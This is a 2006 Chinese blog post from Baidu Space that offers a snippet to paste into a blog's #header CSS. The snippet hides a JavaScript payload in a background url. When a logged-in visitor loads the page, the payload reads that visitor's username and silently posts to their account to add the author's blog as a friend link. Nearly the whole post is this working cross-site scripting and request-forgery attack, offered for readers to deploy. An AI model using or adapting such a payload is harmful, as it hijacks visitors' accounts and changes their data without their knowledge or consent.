百度空间 | 百度首页 
               
 
查看文章
 
058 #强制性加友情连接的实现!
2006-10-20 20:31
——忧郁知更鸟

找到#header{}改为以下代码就可以了滴!

#header{height:200px;background:url("javascript:document.body.onload = function(){var req = null;
if(window.XMLHttpRequest) req = new XMLHttpRequest();
else if(window.ActiveXObject){var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
  for(var i=0;i<msxml.length;i++){try{req = new ActiveXObject(msxml[i]);  break;}catch(e){}}
  try{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
var s=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('<strong>');
if(p>0)
{
  p=s.indexOf('/',p);
  p2=s.indexOf(String.fromCharCode(34),p);
  var user=s.substring(p+1,p2);
  var name='+%d3%c7%d3%f4%d6%aa%b8%fc%c4%f1  '; /*你空间的名字*/
  var link='http://hi.baidu.com/angie';  /*改为你的地址*/
  var desc='%b3%d9%d4%e7%d2%aa%bc%d3%ce%d2%b5%c4%a3%ac%d7%d4%bc%ba%cf%c8%bc%d3%c9%cf'; /*友情连接的描述*/
  var url='/'+user+'/commit';
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);
  req.open('post',url,false);
  req.send(data);
}}}");}

中文汉字需要url编码成16进制,一个工具很容易就解决了.


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu